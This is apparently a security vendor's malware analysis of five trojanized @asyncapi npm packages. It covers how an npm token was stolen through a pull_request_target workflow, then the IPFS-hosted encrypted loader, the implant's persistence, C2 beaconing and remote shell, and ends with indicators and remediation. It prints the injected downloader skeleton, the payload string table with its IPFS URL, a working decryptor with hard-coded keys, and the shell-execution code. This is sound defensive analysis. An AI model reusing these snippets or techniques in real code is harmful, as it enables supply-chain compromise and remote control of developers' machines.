We've identified five trojanized @asyncapi packages published on 2026-07-14. The attacker stole an npm publish token by exploiting a pull_request_target workflow vulnerability in the AsyncAPI generator repository, then injected an obfuscated downloader into normal runtime modules across four packages. Importing any of the affected packages fetches an encrypted Node.js loader from IPFS, writes it to disk as sync.js, and starts it as a detached process.
The chain ends in a persistent implant with a real remote shell. The payload framework self-identifies as M-RED-TEAM v6.4 in its own code comments. Credential harvesting and self-propagation are present in the code but disabled in this build. The shell is sufficient for the operator to collect data and run arbitrary commands without those features.
The packages combined see roughly 2.9 million weekly downloads, with @asyncapi/specs alone accounting for around 2.7 million.
How the attacker got publish access
The asyncapi/generator repository used a GitHub Actions workflow with a pull_request_target trigger. This trigger runs with access to repository secrets even when the workflow checks out code from an external pull request, a well-known footgun.
A contributor identified the vulnerability and opened a fix PR (#2092) on May 17. It was still unmerged nearly 2 months later when the attack happened.
At 05:08 UTC on July 14, the attacker opened 37 pull requests against the generator repository. One of them, PR #2155, contained obfuscated JavaScript that exfiltrated the npm publish token to rentry[.]co. The workflow completed at 05:16 UTC. With the token in hand, the attacker pushed malicious commits to the next branch at 06:58 UTC and published the first compromised packages at 07:10 UTC. They then pivoted to asyncapi/spec-json-schemas, pushing 11 commits between 07:51 and 08:28 UTC to publish the specs versions.
Attribution
The attack involves three overlapping signals that don't all point to the same place.
The initial access technique (a PR flood targeting a pull_request_target workflow with a rentry[.]co dead-drop) matches patterns from the prt-scan campaign previously observed in similar GitHub Actions secret-theft attacks.
The payload framework self-identifies as M-RED-TEAM v6.4 in code comments throughout the recovered stage-3 source. That is the most direct label the code gives itself.
The artifact names and configuration use Miasma branding: the build target is miasma-train-p1, the runtime lock and identity paths sit under ~/.config/.miasma/, persistence artifacts are named miasma-monitor, and the spawn certificates use the format string miasma-spawn-cert-v1. These overlap with the earlier Miasma toolkit, though a SafeDep researcher noted the payloads differ: the prior build was Bun-based with RSA/AES-CBC, active propagation, and a destructive deadman; this one is Node-based with secp256k1/AES-GCM, HTTP C2, and those features switched off.
We can't determine from the evidence whether the prt-scan initial access and M-RED-TEAM payload represent a single operator or separate parties. The Miasma branding may reflect code reuse, imitation, or deliberate mislabeling. No definitive attribution is made here.
Five runtime packages carried the first stage
The compromised releases:
@asyncapi/specs@6.11.2@asyncapi/specs@6.11.2-alpha.1@asyncapi/generator@3.3.1@asyncapi/generator-helpers@1.1.1@asyncapi/generator-components@0.7.1
The malicious code is not in an npm lifecycle hook. It was placed in modules that run during normal use: the specs entry point, a generator validator, a helper utility, and a components error-handling module. The payload runs when the module loads, so a plain require() is enough to trigger it.
In @asyncapi/specs, the downloader is prepended to the real schema exports:
import { spawn } from 'child_process';
// fs, path, https, os imported above
async function main() {
try {
const child = spawn(
'node',
[
'-e',
`/* obfuscated downloader, ~3 KB, elided */`,
],
{
detached: true,
stdio: 'ignore',
windowsHide: true,
}
);
child.unref();
} catch (error) {
console.error(error.message);
}
}
main();
module.exports = {
schemas: {
'2.0.0': require('./schemas/2.0.0.json'),
// ...through 3.1.0
},
};The downloader runs in a detached child process. After calling child.unref(), the parent exits immediately and the download continues in the background.
The node -e payload is obfuscated, but its string lookup table contains the IPFS URL and drop filename in plaintext:
// string table from the inline node -e script, verbatim from the shipped file['ignore','https','share','createWriteStream','finish','existsSync','darwin', 'https://ipfs.io/ipfs/Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf', '6768228QKjgXi','3468092lHTqJi','close','1488507nOBBnt','Library', '2677556fRqDUV','1716959EKWEaH','Local','get','NodeJS','win32','56qmWZQE', 'statusCode','join','error','node','path','10fFCDjZ','.local','10198524EzDDHO', 'child_process','mkdirSync','unlink','pipe','homedir','platform','unref','sync.js','6676191oFXVhK']The specs branch fetches CID Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf. The generator-family branch fetches QmQobZSp1wRPrpSEQ56qnyq7ecZh5Bg5k1fnjt4SUwwHb9. Both write sync.js to a per-user NodeJS data directory: ~/Library/Application Support/NodeJS on macOS, %LOCALAPPDATA%\NodeJS on Windows, ~/.local/share/NodeJS on Linux.
Stage 2: encrypted loaders from IPFS
The two IPFS objects are obfuscated JavaScript loaders: 8,243,380 bytes (specs) and 8,254,481 bytes (generator family). Each derives an AES-256-GCM key via HKDF-SHA256, decrypts an embedded vault, reverses a printable-ASCII rotation, and evaluates the result. We extracted the logic into a non-executing decryptor:
const _km = 'rt-file-key-material-v1';
const _mkb = Buffer.from(
'rt-vault-master-key-32b-aaaaaaaa',
'utf8'
); // 32 bytes
function gcmDecrypt(buf, key) {
const iv = buf.slice(0, 12);
const tag = buf.slice(buf.length - 16);
const ct = buf.slice(12, buf.length - 16);
const d = crypto.createDecipheriv('aes-256-gcm', key, iv);
d.setAuthTag(tag);
return Buffer.concat([d.update(ct), d.final()]);
}
// derive per-file key and decrypt stage-3 blob
const fileKey = crypto.hkdfSync(
'sha256',
Buffer.from(_km, 'utf8'),
Buffer.alloc(0),
Buffer.from('rt-file-key', 'utf8'),
32
);
const rotSrc = gcmDecrypt(encryptedBlob, fileKey).toString('utf8');
// reverse the ASCII rotation
const ROT_MIN = 33;
const ROT_RANGE = 94;
const delta = (ROT_RANGE - (4 % ROT_RANGE)) % ROT_RANGE;
const stage3 = [...rotSrc]
.map((ch) => {
const c = ch.charCodeAt(0);
return c >= ROT_MIN && c < ROT_MIN + ROT_RANGE
? String.fromCharCode(
ROT_MIN + ((c - ROT_MIN + delta) % ROT_RANGE)
)
: ch;
})
.join('');The GCM authentication tags validate for both builds. Each loader also contains a sourceBundle field encrypted with the same key; it matches the recovered stage-3 file byte for byte. The baked config uses a separate key derived from rt-baked-key and the same hard-coded master.
The two recovered stage-3 files:
- Specs build: 3,088,921 bytes, SHA-256
f873941d1907a97dc6c718fdecf59fd7d91f3f8212da2f7e5314b878b88bdc0b - Generator-family build: 3,093,085 bytes, SHA-256
9e214f38537e69bf51c7fa1ddd35ae495e9cb897231ec010baf9e4f29407ee9a
The generator-family build adds one behavioral difference: a timer that re-checks the primary C2 after failover and switches back when it recovers. Other differences are generated junk declarations.
Both builds include a two-certificate secp256k1 spawn chain. Both signatures verify. The chain does not block this seed from running.
Misleading config fields
Early reporting characterized this as a "safe canary" based on config field values. The baked config we recovered:
{
"config": {
"safeMode": true,
"c2Server": "http://85.137.53.71:8080",
"shellBlacklist": ["killall"],
"batch": { "defaultStrategy": "CANARY", "canaryPercent": 5 }
},
"target": { "name": "miasma-train-p1", "ecosystem": "npm" },
"actualPersist": false,
"testMode": false,
"toggles": {
"recon": false,
"persist": true,
"propagate": { "npm": false, "pypi": false, "ruby": false, "cargo": false },
"evasion": false,
"metamorphic": false
}
}None of the three field values hold up under call-graph analysis:
safeMode: true: the entry point passes config directly into the boot function and never calls thesafeModevalidator.actualPersist: false: the boot function readstoggles.persist, notactualPersist.toggles.persististrue. Persistence runs.canaryPercent: 5: theBatchDispatchcommand is unimplemented and no victim-selection path reads this field. It has no effect.
What the implant does
On first run the payload generates a secp256k1 keypair and stores it in a platform-specific path disguised as a system cache file. It uses ~/.config/.miasma/run/node.lock to prevent duplicate instances.
Persistence by platform:
- macOS: appends a
nohupblock to.zshrc,.bashrc, or.bash_profile - Windows: writes HKCU
Runvaluemiasma-monitor - Linux: writes
~/.config/systemd/user/miasma-monitor.serviceand enables it. TheExecStartis missing a shell wrapper, so the unit likely fails to start, but the files are written.
The implant beacons to hxxp://85[.]137[.]53[.]71:8080 roughly every 30 seconds. Beacons are signed and encrypted with the attacker's public key. Even with recon disabled, each beacon includes redacted previews of PATH, HOME, USER, and HOSTNAME, and checks for the presence of Cursor, Claude, and VS Code config files under /app.
Commands are normally delivered in an encrypted envelope. When no encrypted bundle is present the handler falls back to a plaintext commands array:
async dispatchResponseCommands(resp) {
let commands = [];
if (
this.commandCipher &&
resp.encryptedCommands &&
resp.encryptedCommands.length > 0
) {
for (const env of resp.encryptedCommands) {
try {
commands.push(this.commandCipher.decryptCommand(env));
} catch (e) {
this.sinkError(e);
}
}
} else {
// plaintext fallback, active when cipher absent
commands = resp.commands;
}
for (const cmd of commands) {
await this.handler(cmd);
}
}
Because the C2 is HTTP, an on-path attacker can inject commands via this path.
Command 11 (ShellExec) passes the request to child_process.exec(). The only blacklisted command is killall:
ShellExecutorImpl = class {
constructor(cfg, runner) {
this.blacklist = new Set(
cfg.shellBlacklist
.map(normalizeCmd)
.filter((b) => b.length > 0)
); // shipped config: ["killall"]
this.runner = runner ?? new ExecFileRunner();
}
async exec(req) {
if (!this.isAllowed(req.command)) {
return {
exitCode: 126,
stdout: '',
stderr: '',
}; // DENIED
}
// testMode is false in this seed, so the real shell runs
return new Promise((resolve) => {
import_node_child_process.exec(
[req.command, ...req.args].join(' '),
{
cwd: req.cwd,
timeout: timeoutMs,
maxBuffer: 1 << 20,
windowsHide: true,
},
(err, stdout, stderr) =>
resolve({
exitCode: err?.code ?? 0,
stdout,
stderr,
})
);
});
}
};File commands (list, get, put) are sandboxed to a hard-coded /sim-fs path. The delete command is not implemented. The shell has no such restriction.
Payload updates come from two sources: an operator command supplying a new CID, or a two-minute polling loop checking Nostr and Ethereum for a higher version. Nostr updates are signature-verified. Ethereum records are accepted without signature verification (trustUnsignedBlockchain: true). A fetched update is written to disk as a randomized .bin/.cache/.dat file, launched with Node, and allowed to replace the current process.
What is in the code but not active
The bundle contains a full credential harvester covering cloud credentials, package manager tokens, SSH/GPG keys, shell histories, browsers, CI/CD systems, AI developer tools, databases, wallets, containers, and password managers. It can download Gitleaks and HackBrowserData to assist collection. None of this runs because toggles.recon is false; the harvester exits before collecting anything. The shell can achieve the same result manually.
Propagation vectors for npm, PyPI, and Cargo are present and implemented. All propagation toggles are false, the only trySpread() call is guarded by persistent mode (which returns before reaching it), and the Propagate command is unimplemented. No spread occurs.
The mutation engine, evasion checks, AI-tool poisoning, and deadman switch are all toggled off. The wipe implementation writes a marker file to ~/Documents/SIMULATION_WIPE_TRIGGERED.txt rather than deleting anything.
C2 and supporting infrastructure
HTTP on port 8080 is the only real beacon and command channel. The other protocols have narrower roles:
- Nostr: delivers address updates, signed payload update records, and peer multiaddresses
- Ethereum: provides read-only service-address and update records
- IPFS: hosts payload objects and encrypted data
- libp2p / BitTorrent DHT / mDNS: peer discovery and gossip; no command or beacon traffic
Several generic upload and command methods on the lower-tier transports are no-ops in this build.
Indicators of compromise
Packages
PackageVersionSHA-256@asyncapi/specs6.11.29b2e65db653ca8575c9b10eefb9a80c6006404812c2ec212bf5675e3c690233b@asyncapi/specs6.11.2-alpha.1d425e4583cc6185d41e95c45eda00550045a5d1919b9a012236a4520d009dbd7@asyncapi/generator3.3.1bfaeb987faa6de2b5a5eb63b1233d055215b09b0349a9394f2175fd7cdf385e4@asyncapi/generator-helpers1.1.134014776d3d3ff11bc4439b02fd7ac0f02a887eb3a052eeafff236e2f6db8ad1@asyncapi/generator-components0.7.1082d733db0687dcd768104972b065d4b58cb1e6043688c6c20fa3702337f36ab
Network
- C2:
85[.]137[.]53[.]71:8080, upload::8081, proxy management::8091 - RIPE block
85.137.53.0/24, objectVSYS-AMS, AS43641 - Ethereum contract
0x12c37A86a0Ed0beBe5d1d6a43E42f07860eAc710, chain ID 1 - Nostr relays:
wss://relay.damus.io,wss://relay.nostr.com/ - DHT bootstrap:
router.bittorrent.com:6881,dht.transmissionbt.com:6881
Host
- Drop:
sync.jsin the per-user NodeJS data directory (paths above) - Lock:
~/.config/.miasma/run/node.lock - macOS identity:
~/Library/Application Support/com.apple.spotlight/index-v2.cache - Linux identity:
~/.cache/mesa_shader_cache/gl_cache.bin - Windows identity:
%HOME%\AppData\Roaming\Microsoft\CryptnetUrlCache\Content\msrt.dat - Linux persistence:
~/.config/systemd/user/miasma-monitor.service - Windows Run value:
miasma-monitor
Crypto
- Attacker secp256k1 public key:
0432fa4ba871877d94081fe83323fa24dfa1491e9de8725cbab7b734de9e9be3b233ef6742fd6264437c9532223d687b05fa540b70af6a516b8539af84d0eeb48e
What to do now
Downgrade to @asyncapi/specs@6.11.1, @asyncapi/generator@3.3.0, @asyncapi/generator-helpers@1.1.0, and @asyncapi/generator-components@0.7.0. Remove the five compromised versions from manifests, lockfiles, caches, internal mirrors, and build images. Hunt for systems that imported the affected modules, not just systems where the package was installed, since the implant runs on require().
On any suspected host: isolate and preserve volatile state first. Search for the drop, lock, identity, and persistence paths listed above, and for unusual detached Node processes. Check for connections to the C2 ports and for Node activity correlated with IPFS, Nostr, Ethereum RPC, DHT, or mDNS.
Treat credentials available to an affected developer machine or build host as potentially exposed via shell commands. Rotate npm tokens, source control access, cloud credentials, CI/CD secrets, SSH keys, signing keys, and browser sessions from a clean machine. Rebuild compromised hosts.
The @asyncapi/specs@6.11.2-alpha.1 tarball is still downloadable at its direct URL despite being absent from registry metadata. It needs to be purged from backing storage and CDN.
How Aikido detects this
If you are an Aikido user, check your central feed and filter on malware issues. All five compromised releases surface as a 100/100 critical issue. If you don't have an account yet, create one and connect your repos — malware coverage is included in the free plan, no credit card required.
Aikido Device Protection gives you visibility across the packages installed on your team's devices, including libraries, IDE plugins, and build dependencies. Aikido Safe Chain (open source) sits in your existing workflow and checks packages against Aikido Intel before npm, yarn, or pnpm installs them.

